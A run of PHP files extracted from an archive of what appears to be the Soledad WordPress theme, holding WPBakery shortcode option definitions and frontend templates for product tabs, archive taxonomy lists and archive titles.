			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_prev_next_buttons',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Show Pagination Control', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_pagination_control',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Loop', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'wrap',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Slider Autoplay', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'autoplay',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'       => 'textfield',
			'group'      => 'Layout & Design',
			'heading'    => __( 'Carousel Speed', 'soledad' ),
			'std'        => '300',
			'param_name' => 'speed',
			'dependency' => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'group'       => 'Layout & Design',
			'heading'     => __( 'Init carousel on scroll', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'scroll_carousel_init',
			'dependency'  => array( 'element' => 'layout', 'value' => array( 'carousel' ) ),
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Style', 'soledad' ),
			'value'      => array(
				esc_html__( 'Inherit from the Theme Settings', 'soledad' ) => 'inherit',
				'Default'                                              => 'standard',
				'Style 1'                                              => 'style-1',
				'Style 2'                                              => 'style-2',
				'Style 3'                                              => 'style-3',
				'Style 4'                                              => 'style-4',
				'Style 5'                                              => 'style-5',
				'Style 6'                                              => 'style-6',
			),
			'std'        => 'style-1',
			'param_name' => 'product_style',
		),
		array(
			'type'       => 'dropdown',
			'group'      => 'Product Style',
			'heading'    => __( 'Image Size', 'soledad' ),
			'value'      => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'param_name' => 'img_size',
		),
		array(
			'type'       => 'textfield',
			'group'      => 'Product Style',
			'heading'    => __( 'Custom Image Size', 'soledad' ),
			'value'      => '',
			'param_name' => 'img_custom_size',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Sale Countdown', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'sale_countdown',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Stock Progress Bar', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'stock_progress_bar',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Hide Hot Label ?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_hot_label',
		),
		array(
			'type'        => 'penci_switch',
			'group'       => 'Product Style',
			'heading'     => __( 'Hide New Label ?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_new_label',
		),
		array(
			'type'       => 'penci_switch',
			'group'      => 'Product Style',
			'heading'    => __( 'Hide Sale Label ?', 'soledad' ),
			'default'    => 'no',
			'param_name' => 'hide_sale_label',
		),
		array(
			'type'       => 'penci_slider',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Item Vertical Spacing', 'soledad' ),
			'min'        => '1',
			'max'        => '2000',
			'step'       => '1',
			'default'    => '',
			'units'      => '',
			'param_name' => 'item_vertical_spacing',
		),
		array(
			'type'       => 'penci_slider',
			'group'      => 'Product Style',
			'heading'    => __( 'Product Item Horizontal Spacing', 'soledad' ),
			'min'        => '1',
			'max'        => '2000',
			'step'       => '1',
			'default'    => '',
			'units'      => '',
			'param_name' => 'item_horizontal_spacing',
		),
	),
	'js_view'                 => 'VcColumnView',
) );
PK     0w\]t    0  js_composer/shortcodes/product_tabs/frontend.phpnu [        <?php
if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$output                = $class = $autoplay = $header_classes = $design = '';
$item_vertical_spacing = $item_horizontal_spacing = $hide_hot_label = $hide_new_label = $hide_sale_label = '';
$atts                  = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );
$block_id                        = Penci_Vc_Helper::get_unique_id_block( 'penci_product_tabs' );
$atts['elementor']               = false;
$atts['hide_prev_next_buttons']  = 'yes' == $atts['hide_prev_next_buttons'];
$atts['hide_pagination_control'] = 'yes' == $atts['hide_pagination_control'];
$atts['wrap']                    = 'yes' == $atts['wrap'];
$atts['autoplay']                = 'yes' == $atts['autoplay'];
$atts['scroll_carousel_init']    = 'yes' == $atts['scroll_carousel_init'];
$atts['sale_countdown']          = 'yes' == $atts['sale_countdown'];
$atts['stock_progress_bar']      = 'yes' == $atts['stock_progress_bar'];
$atts['product_categories']      = 'yes' == $atts['product_categories'];
$atts['product_rating']          = 'yes' == $atts['product_rating'];
$id_product                      = '#' . $block_id;

$img_id  = preg_replace( '/[^\d]/', '', $image );
$tabs_id = 'penci-tab-' . uniqid();

// Extract tab titles
preg_match_all( '/penci_product_tab([^\]]+)/i', $content, $matches, PREG_OFFSET_CAPTURE );
$tab_titles = array();

if ( isset( $matches[1] ) ) {
	$tab_titles = $matches[1];
}

$tabs_nav        = '';
$first_tab_title = '';
$tabs_nav        .= '<ul class="products-tabs-title">';
$_i              = 0;
foreach ( $tab_titles as $tab ) {
	$_i ++;
	$tab_atts                       = shortcode_parse_atts( $tab[0] );
	$tab_atts['carousel_js_inline'] = 'yes';
	$encoded_atts                   = wp_json_encode( array_intersect_key( array_merge( $atts, $tab_atts ), penci_custom_product_query_default_args() ) );
	$icon_output                    = '';

	if ( empty( $tab_atts['icon_size'] ) ) {
		$tab_atts['icon_size'] = '25x25';
	}

	// Tab icon
	if ( isset( $tab_atts['icon'] ) ) {
		$icon_output = penci_display_icon( $tab_atts['icon'], $tab_atts['icon_size'], 25 );
	}

	if ( $_i == 1 && isset( $tab_atts['title'] ) ) {
		$first_tab_title = $tab_atts['title'];
	}
	$class = ( $_i == 1 ) ? ' active-tab-title' : '';
	if ( isset( $tab_atts['title'] ) ) {
		$query_id = strtolower( sanitize_title_with_dashes( $tab_atts['title'] ) );
		$tabs_nav .= '<li data-queryid="' . esc_attr( $query_id ) . '" data-layout="' . esc_attr( $atts['layout'] ) . '" data-atts="' . esc_attr( $encoded_atts ) . '" class="' . esc_attr( $class ) . '">' . $icon_output . '<span class="tab-label">' . $tab_atts['title'] . '</span></li>';
	}
}

$tabs_nav .= '</ul>';

$class .= ' tabs-' . $tabs_id;

$class .= ' tabs-design-' . $design;

$class .= ' ' . $el_class;

$class .= 'penci-products-tabs';

$header_classes .= ' text-' . $alignment;

?>
    <div class="elementor-element elementor-widget-container penci-product-tabs-wrapper woocommerce">
        <div id="<?php echo esc_attr( $tabs_id ); ?>"
             class="penci-products-tabs<?php echo esc_attr( $class ); ?>">
            <div class="penci-tabs-header<?php echo esc_attr( $header_classes ); ?>">
				<?php if ( ! empty( $title ) ) : ?>
                    <h4 class="tabs-name title">
						<?php
						if ( $img_id ) {
							echo penci_display_icon( $img_id, $img_size, 30 );
						}
						?>
                        <span class="tabs-text"><?php echo wp_kses( $title, penci_allow_html() ); ?></span>
                    </h4>
				<?php endif; ?>
                <div class="tabs-navigation-wrapper">
                    <span class="open-title-menu"><?php echo wp_kses( $first_tab_title, penci_allow_html() ); ?></span>
					<?php
					echo ! empty( $tabs_nav ) ? $tabs_nav : '';
					?>
                </div>
            </div>
            <div class="penci-tab-content-container">
                <div class="penci-products-preloader">
                <span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span
                            class="bubble"></span></span>
                </div>
				<?php
				if ( isset( $tab_titles[0][0] ) ) {
					$first_tab_atts          = array_intersect_key( array_merge( $atts, shortcode_parse_atts( $tab_titles[0][0] ) ), penci_custom_product_query_default_args() );
					$first_tab_atts['class'] = 'active';
					penci_elementor_products_template( $first_tab_atts );
				}
				?>
            </div>

			<?php
			if ( $color ) {
				$css = '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .tabs-name {';
				$css .= 'border-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-default .products-tabs-title .tab-label:after,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-alt .products-tabs-title .tab-label:after {';
				$css .= 'background-color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .products-tabs-title li.active-tab-title,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .penci-owl-nav > div:hover,';
				$css .= '.tabs-' . esc_attr( $tabs_id ) . '.tabs-design-simple .wrap-loading-arrow > div:not(.disabled):hover {';
				$css .= 'color: ' . esc_attr( $color ) . ';';
				$css .= '}';

				wp_add_inline_style( 'penci-woocommerce', $css );
			}
			?>
        </div>
    </div>

<?php
$css_custom = '';
if ( $item_horizontal_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products{margin-left:-{{VALUE}}px;margin-right:-{{VALUE}}px}', $item_horizontal_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{padding-left:-{{VALUE}}px;padding-right:-{{VALUE}}px}', $item_horizontal_spacing );
}

if ( $item_vertical_spacing ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .product-layout-grid ul.products li.product{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .products.product-list .penci-soledad-product .penci-product-loop-inner-content{margin-bottom:-{{VALUE}}px}', $item_vertical_spacing );
	$css_custom .= penci_extract_md_responsive_fsize( $id_product . '  .penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.prev.page-numbers,.penci-woo-page-container.next_previous .woocommerce-pagination .page-numbers li a.next.page-numbers{margin-top: calc( -25px -{{VALUE}}px)}', $item_vertical_spacing );
}

if ( 'yes' == $hide_hot_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.featured{display:none}';
}

if ( 'yes' == $hide_new_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.new{display:none}';
}

if ( 'yes' == $hide_sale_label ) {
	$css_custom .= $id_product . ' .penci-soledad-product .product-labels .product-label.onsale{display:none}';
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\f    7  js_composer/shortcodes/pc_archive_taxonomy/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_taxonomy",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_taxonomy/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Taxonomy', 'soledad' ),
	'description'   => 'Archive Builder - Taxonomy',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Term Listing', 'soledad' ),
			'param_name'       => 'tax_showall',
			'value'            => array(
				'All Items'    => 'all',
				'Child Items'  => 'child',
				'Custom Items' => 'custom',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_list(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
			'param_name'       => 'taxonomies_ex',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => penci_wpbakery_taxonomies_list(),
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Display Style', 'soledad' ),
			'param_name'       => 'term_style',
			'value'            => array(
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Align', 'soledad' ),
			'param_name'       => 'term_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order by', 'soledad' ),
			'param_name'       => 'orderby',
			'value'            => array(
				'Name'       => 'name',
				'Slug'       => 'slug',
				'ID'         => 'term_id',
				'Term Order' => 'term_order',
				'Term Count' => 'count',
				'Random'     => 'rand',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Order by', 'soledad' ),
			'param_name'       => 'order',
			'value'            => array(
				'DESC' => 'desc',
				'ASC'  => 'asc',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'param_name'       => 'number',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Activate Current Viewing Term?', 'soledad' ),
			'param_name'       => 'tax_currentitem',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Posts Count', 'soledad' ),
			'param_name'       => 'tax_showcount',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Horizontal Space Between Items', 'soledad' ),
			'param_name'       => 'term_spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_slider',
			'heading'          => esc_html__( 'Vertical Space Between Items', 'soledad' ),
			'param_name'       => 'term_vspacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Color', 'soledad' ),
			'param_name'       => 'term_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Color', 'soledad' ),
			'param_name'       => 'term_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Color', 'soledad' ),
			'param_name'       => 'term_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Background Color', 'soledad' ),
			'param_name'       => 'term_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Color', 'soledad' ),
			'param_name'       => 'term_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover & Active Border Color', 'soledad' ),
			'param_name'       => 'term_bdhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Border Style', 'soledad' ),
			'param_name'       => 'term_border_style',
			'value'            => array(
				'Dotted' => 'dotted',
				'Dashed' => 'dashed',
				'Solid'  => 'solid',
				'Double' => 'double',
				'Groove' => 'groove',
				'Ridge'  => 'ridge',
				'Inset'  => 'inset',
				'Outset' => 'outset',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Term Border Radius', 'soledad' ),
			'param_name'       => 'term_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\؆M    7  js_composer/shortcodes/pc_archive_taxonomy/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$term_style = $settings['term_style'];
$taxonomies = $settings['taxonomies'];
$queries    = get_queried_object();
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
$count      = '';
if ( ! isset( $queries->taxonomy ) || ( $settings['tax_showall'] == 'custom' && empty( $taxonomies ) ) ) {
	return false;
}
$settings['tax_showcount'] = $settings['tax_showcount'] == 'yes';
$block_id                  = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$args                      = [
	'taxonomy' => $queries->taxonomy,
	'orderby'  => $settings['orderby'],
	'order'    => $settings['order'],
];

if ( $settings['taxonomies_ex'] ) {
	$args['exclude'] = $settings['taxonomies_ex'];
}

if ( $settings['number'] && 'rand' != $settings['orderby'] ) {
	$args['number'] = $settings['number'];
}

if ( $settings['tax_showall'] == 'child' ) {
	$args['child_of'] = $queries->term_id;
}

$term_data    = get_queried_object();
$current_term = ! empty( $term_data ) && isset( $term_data->term_id ) && $term_data->term_id ? $term_data->term_id : '';

$terms = get_terms( $args );
if ( $terms && $settings['tax_showall'] !== 'custom' ) {

	if ( 'rand' == $settings['orderby'] ) {
		shuffle( $terms );
	}

	?>
    <div id="<?php echo $block_id;?>" class="pcab-txnm pc-tax-lists <?php echo $css_class; ?>">
        <ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
			<?php
			$t_count = 0;
			foreach ( $terms as $term ) {
				$class = '';
				if ( $t_count ++ == $settings['number'] && 'rand' == $settings['orderby'] ) {
					break;
				}
				if ( $settings['tax_showcount'] ) {
					$count = '<span class="count">(' . $term->count . ')</span>';
				}
				if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
					$class = ' current-item';
				}
				echo '<li><a class="pctmp-term-item' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
			} ?>
        </ul>
    </div>
	<?php
} elseif ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
	?>
    <div class="pc-tax-lists <?php echo $css_class; ?>">
        <ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
			<?php foreach ( $taxonomies as $term_id ) {
				$class = '';
				$term  = get_term( $term_id );
				if ( $settings['tax_showcount'] ) {
					$count = '<span class="count">(' . $term->count . ')</span>';
				}
				if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
					$class = ' current-item';
				}
				echo '<li><a class="pctmp-term-item' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
			} ?>
        </ul>
    </div>
	<?php
}
$css_custom = '';
$block_id = '#'.$block_id;
if ( $settings['term_spacing'] ) {
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxleft li:not(:last-child){margin-right:' . $settings['term_spacing'] . 'px}';
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxright li:not(:first-child){margin-left:' . $settings['term_spacing'] . 'px}';
	$css_custom .= $block_id . ' .pctmp-term-list.pctaxcenter li(:first-child){margin-left:calc(' . $settings['term_spacing'] . 'px/2);margin-right:calc(' . $settings['term_spacing'] . 'px/2)}';
	$css_custom .= $block_id . ' .pctmp-term-list li .pctmp-term-item{margin-right:0;margin-left:0;--pctmp-term-list:' . $settings['term_spacing'] . 'px}';
}
if ( $settings['term_vspacing'] ) {
	$css_custom .= $block_id . ' .pctmp-term-list li .pctmp-term-item{margin-bottom:' . $settings['term_vspacing'] . '}';
}
if ( $settings['term_color'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{color:' . $settings['text_lcolor'] . '}';
}
if ( $settings['term_hcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{color:' . $settings['term_hcolor'] . '}';
}
if ( $settings['term_bgcolor'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{background-color:' . $settings['term_bgcolor'] . '}';
}
if ( $settings['term_bghcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{background-color:' . $settings['term_bghcolor'] . '}';
}
if ( $settings['term_bdcolor'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-color:' . $settings['term_bdcolor'] . '}';
}
if ( $settings['term_bdhcolor'] ) {
	$css_custom .= $block_id . ' a.pctmp-term-item:hover,' . $block_id . ' a.pctmp-term-item.current-item{border-color:' . $settings['term_bdhcolor'] . '}';
}
if ( $settings['term_border_style'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-style:' . $settings['term_border_style'] . '}';
}
if ( $settings['term_border_radius'] ) {
	$css_custom .= $block_id . ' .pctmp-term-item{border-radius:' . $settings['term_border_radius'] . 'px}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\Ph  h  4  js_composer/shortcodes/pc_archive_title/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_title",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_title/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Title', 'soledad' ),
	'description'   => 'Archive Builder - Title',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Remove Heading Line', 'soledad' ),
			'param_name'       => 'heading_line',
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Prefix Text Color', 'soledad' ),
			'param_name'       => 'text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Color', 'soledad' ),
			'param_name'       => 'heading-line-color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Line Spacing with Title', 'soledad' ),
			'param_name'       => 'heading-line-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Width', 'soledad' ),
			'param_name'       => 'heading-line-w',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Heading Line Height', 'soledad' ),
			'param_name'       => 'heading-line-h',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\ɜ    4  js_composer/shortcodes/pc_archive_title/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$heading_tag = $settings['heading_markup'];
$align       = $settings['heading_align'];
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
?>
    <div id="<?php echo $block_id; ?>" class="archive-box pcab-abox <?php echo $css_class; ?>">
        <div class="title-bar align-<?php echo $align; ?>">
			<?php
			if ( is_day() ) :
				if ( penci_get_setting( 'penci_trans_daily_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_daily_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date() );
            elseif ( is_month() ) :
				if ( penci_get_setting( 'penci_trans_monthly_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_monthly_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'F Y', 'monthly archives date format', 'soledad' ) ) );
            elseif ( is_year() ) :
				if ( penci_get_setting( 'penci_trans_yearly_archives' ) ):
					echo '<span>';
					echo penci_get_setting( 'penci_trans_yearly_archives' );
					echo ' </span>';
				endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_the_date( _x( 'Y', 'yearly archives date format', 'soledad' ) ) );
            elseif ( is_author() ) :
				echo '<span>';
				echo penci_get_setting( 'penci_trans_author' );
				echo ' </span>';
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_userdata( get_query_var( 'author' ) )->display_name );
            elseif ( is_category() ):
				if ( ! get_theme_mod( 'penci_remove_cat_words' ) ): ?>
                    <span><?php echo penci_get_setting( 'penci_trans_category' ); ?></span>
				<?php endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_cat_title( '', false ) );
            elseif ( is_tag() ):
				if ( ! get_theme_mod( 'penci_remove_tag_words' ) ): ?>
                    <span><?php echo penci_get_setting( 'penci_trans_tag' ); ?></span>
				<?php endif;
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">%s</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), single_tag_title( '', false ) );
            elseif ( is_search() ):
				echo '<span>' . penci_get_setting( 'penci_trans_search_results_for' ) . '</span> ';
				printf( wp_kses( __( '<' . $heading_tag . ' class="page-title">"%s"</' . $heading_tag . '>', 'soledad' ), penci_allow_html() ), get_search_query() );
            elseif ( is_tax() ) :
				the_archive_title( '<' . $heading_tag . ' class="page-title">', '</' . $heading_tag . '>' );
			else :
				echo '<' . $heading_tag . ' class="page-title">';
				echo penci_get_setting( 'penci_trans_archives' );
				echo '</' . $heading_tag . '>';
			endif;
			?>
        </div>
    </div>
<?php
$css_custom = '';
$block_id   = '#' . $block_id;
if ( $settings['heading_line'] ) {
	$css_custom .= $block_id . ' .pcab-abox .title-bar:after{display:none}';
	$css_custom .= $block_id . ' .pcab-abox .title-bar{padding:0;margin:0;}';
}

if ( $settings['main_text_color'] ) {
	$css_custom .= $block_id . ' .archive-box .page-title,'. $block_id . ' .archive-box span{color:' . $settings['text_color'] . '!important;}';
}
if ( $settings['text_color'] ) {
	$css_custom .= $block_id . ' .archive-box span{color:' . $settings['text_color'] . '!important;}';
}
if ( $settings['heading-line-color'] ) {
